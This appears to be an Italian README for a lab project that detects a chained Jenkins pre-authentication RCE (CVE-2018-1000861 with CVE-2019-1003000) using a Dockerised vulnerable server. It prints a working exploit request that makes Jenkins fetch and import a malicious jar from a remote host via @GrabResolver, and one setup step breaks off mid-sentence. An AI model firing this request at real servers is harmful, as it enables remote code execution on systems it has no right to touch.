CVE-2019-1003000_RILEVAMENTO-RCE

Sommario Generale

Unendo la vulnerabilità CVE-2018-1000861 con CVE-2019-1003000, ho creato un modulo per testare un RCE pre-autenticazione su Jenkins CI. Inizialmente avevo provato a rilevare la vulnerabilità con un nome utente, una password e un nome di job; tuttavia, ho pensato che fosse più realistico e interessante affrontare questa sfida concatenando le due vulnerabilità.

Prerequisiti

Avere Visual Studio o il framework .NET Core installato sulla propria macchina Windows, Linux o macOS.

Configurazione dell'ambiente (Come ho fatto)

1. Ho prima scaricato la versione specificata di docker da DockerHub: docker pull jenkins/jenkins:2.121
2. Poi ho scritto uno script bash (presente in questo repository) per avviare un nuovo container docker che esegue il server Jenkins vulnerabile e lo ho montato bind sulla macchina locale
   • Utente amministratore
     • username - Naruto
     • Password - Uzumaki
     • Nome - Naruto
3. Ho poi navigato su plugins.index.io per trovare versioni specifiche di plugin da installare in Jenkins
   • Declarative Plugin - https://updates.jenkins.io/download/plugins/pipeline-model-definition/
   • Groovy - https://updates.jenkins.io/download/plugins/workflow-cps/
   • Script Security Plugin - https://updates.jenkins.io/download/plugins/script-security/
   • Declarative Extension Points - https://updates.jenkins.io/download/plugins/pipeline-model-extensions/
     • (Dopo aver installato i plugin, vai alla sezione 'Avanzate' in 'Gestione plugin' e cancella il campo 'Sito di aggiornamento' e salva in modo che non si aggiorni automaticamente al riavvio).

Esecuzione (Come installare ed eseguire)

1. Vai nella directory payload ed esegui mvDir.sh
   • Esegui come ./mvDir.sh
     • Dovrebbe già essere marcato come eseguibile, altrimenti esegui chmod +x mvDir.sh. Se ancora non funziona, puoi eseguirlo come bash mvDir.sh
     • Questo comando sposterà la directory contenente il jar malevolo nella root del computer, che è dove la richiesta GET cercherà il file jar specificato nella richiesta malevola.
2. Vai in jenkins_environment ed esegui ./run_vuln_jenkins.sh
   • Segui le indicazioni sopra se il comando non funziona.
   • Questo script bash eseguirà il container docker che ospita il server Jenkins vulnerabile (su http://localhost:8080)
   • Inoltre, eseguendo ./run_updated_jenkins.sh o bash run_updated_jenkins.sh si avvierà un server Jenkins sicuro e aggiornato su http://localhost:8000, e l'esecuzione del modulo contro questo mostrerà che è sicuro e non vulnerabile a CVE-2018-1000861 concatenato con CVE-2019-1003000.
3. Vai in exploit-detection-code/jenkins-server-rce/
   • Questo progetto è stato costruito usando il framework .NET Core. Per eseguire, prima chiama il comando

Riflessioni

La pianificazione iniziale che avevo creato era una buona base per come ho affrontato la soluzione; tuttavia, mentre procedevo ho scoperto che stavo rendendo il lavoro molto più complicato del necessario. Avevo inizialmente creato uno script bash per lanciare una reverse shell sulla mia macchina host per dimostrare l'RCE. Tuttavia, l'obiettivo di questa sfida era dimostrare che la vulnerabilità esisteva. In questo caso, si trattava di dimostrare che l'RCE poteva essere attivata su Jenkins versione 2.121.2 con i seguenti plugin: Pipeline: Declarative Plugin fino alla 1.3.4, Pipeline: Declarative Extension Points API fino alla 1.3.4, Pipeline: Groovy Plugin fino alla 2.61, Script Security Plugin fino alla 1.49.

Non avevo bisogno di creare effettivamente una reverse shell e mostrare di poter lanciare comandi arbitrari. Per questo motivo, è più facile rilevarlo sia su Windows che su sistemi operativi basati su .nix. Dopo aver effettuato la richiesta GET, ho scoperto che la pagina risponde con uno stato contrassegnato come successo o stampa un messaggio di errore. Tuttavia, per assicurarmi che lo stato di successo non fosse un falso positivo, ho impostato un server web sul mio host usando python -m SimpleHTTPSever 80 e lanciando la richiesta GET personalizzata al file JAR malevolo specificato (che si trova nella cartella payload), si può vedere che la richiesta GET risponde con un codice di stato 200 con il percorso corretto al file jar che si trova sulla macchina locale, dimostrando che la vulnerabilità esiste. Di seguito è riportato un esempio della richiesta GET e della risposta corrispondente. I diversi percorsi dei file (tw/ e www/) contengono entrambi il jar malevolo; sono solo percorsi diversi che la richiesta percorre per trovarlo.

GET Request

http://localhost:8080/securityRealm/user/Naruto/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27orange.tw%27,%20root=%27http:[ip_address]/%27)%0a@Grab(group=%27vw.orange%27,%20module=%27poc%27,%20version=%271%27)%0aimport%20NixExploit;

Fonti Utilizzate

• https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html?showComment=1556463533669#c1268121200706050658
• https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html
• https://blog.alertlogic.com/emerging-threat-jenkins-plugins-remote-code-execution/